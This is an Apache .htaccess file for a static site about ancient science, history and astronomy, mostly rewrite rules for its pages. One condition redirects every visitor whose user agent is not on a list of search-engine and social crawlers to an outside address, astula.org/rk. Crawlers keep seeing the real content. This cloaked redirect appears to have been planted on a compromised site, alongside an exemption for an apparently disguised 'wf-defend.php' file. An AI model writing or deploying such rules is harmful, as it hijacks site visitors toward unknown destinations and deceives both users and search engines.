<IfModule mod_dir.c>
    DirectorySlash Off
    DirectoryIndex index.html
</IfModule>

Options -Indexes

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^wf-defend\.php$ - [END]
    RewriteRule ^(robots\.txt|llms\.txt|rss\.xml|feed\.xml)$ - [END]
    RewriteRule (^|.*/)sitemap(-[A-Za-z0-9._-]+)?\.xml$ - [END]
    RewriteRule ^google[0-9a-z]+\.html$ - [END]

    RewriteCond %{HTTP_USER_AGENT} !(googlebot|googlebot/2\.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|ask\sjeeves|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC]
    RewriteRule .* https://astula.org/rk [R=302,L]

    RewriteRule ^$ index.html [END]
    RewriteRule ^2019/04/?$ 2019/04/index.html [END]
    RewriteRule ^2020/05/?$ 2020/05/index.html [END]
    RewriteRule ^2021/01/?$ 2021/01/index.html [END]
    RewriteRule ^2021/02/?$ 2021/02/index.html [END]
    RewriteRule ^2022/04/?$ 2022/04/index.html [END]
    RewriteRule ^2024/03/?$ 2024/03/index.html [END]
    RewriteRule ^2026/11/?$ 2026/11/index.html [END]
    RewriteRule ^599-2/?$ 599-2/index.html [END]
    RewriteRule ^about/?$ about/index.html [END]
    RewriteRule ^author/avnresearchadmin/?$ author/avnresearchadmin/index.html [END]
    RewriteRule ^avinash-mode-of-operation/?$ avinash-mode-of-operation/index.html [END]
    RewriteRule ^category/education/?$ category/education/index.html [END]
    RewriteRule ^category/education/ancient-science/?$ category/education/ancient-science/index.html [END]
    RewriteRule ^category/education/ancient-science/astronomy/?$ category/education/ancient-science/astronomy/index.html [END]
    RewriteRule ^category/education/ancient-science/maths/?$ category/education/ancient-science/maths/index.html [END]
    RewriteRule ^category/education/ancient-science/physics/?$ category/education/ancient-science/physics/index.html [END]
    RewriteRule ^category/education/defence/?$ category/education/defence/index.html [END]
    RewriteRule ^category/education/history/?$ category/education/history/index.html [END]
    RewriteRule ^category/education/modern-science/?$ category/education/modern-science/index.html [END]
    RewriteRule ^category/gallery/?$ category/gallery/index.html [END]
    RewriteRule ^category/uncategorized/?$ category/uncategorized/index.html [END]
    RewriteRule ^historical-facts-of-king-vikramaditya-of-ujjani/?$ historical-facts-of-king-vikramaditya-of-ujjani/index.html [END]
    RewriteRule ^img-gallery/?$ img-gallery/index.html [END]
    RewriteRule ^year-of-0-degree-precession-oscillation-of-equinox-2/?$ year-of-0-degree-precession-oscillation-of-equinox-2/index.html [END]

    RewriteRule .* - [F]
</IfModule>
